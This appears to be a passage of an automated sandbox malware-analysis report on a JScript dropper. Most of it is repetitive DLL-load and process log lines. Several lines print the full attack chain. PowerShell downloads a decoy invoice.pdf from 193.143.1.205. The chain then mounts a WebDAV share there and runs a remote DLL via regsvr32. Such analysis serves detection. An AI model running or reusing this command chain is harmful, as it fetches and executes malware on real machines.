Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1525.js.csv");ITextStream.WriteLine(" entry:8795 f:usopyaixj");ITextStream.WriteLine(" exec:2 f:usopyaixj");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4904			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4561			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 764	Thread sleep count: 4904 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 764	Thread sleep count: 4561 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7132	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5052	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1732	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1780	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4304	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7320	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000006.00000003.1742869444.000001F36152C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2963434356.0000020F30854000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000008.00000002.2962180108.0000020F2B42B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: net.exe, 00000006.00000002.1748191732.000001F3614C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp*Sa

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
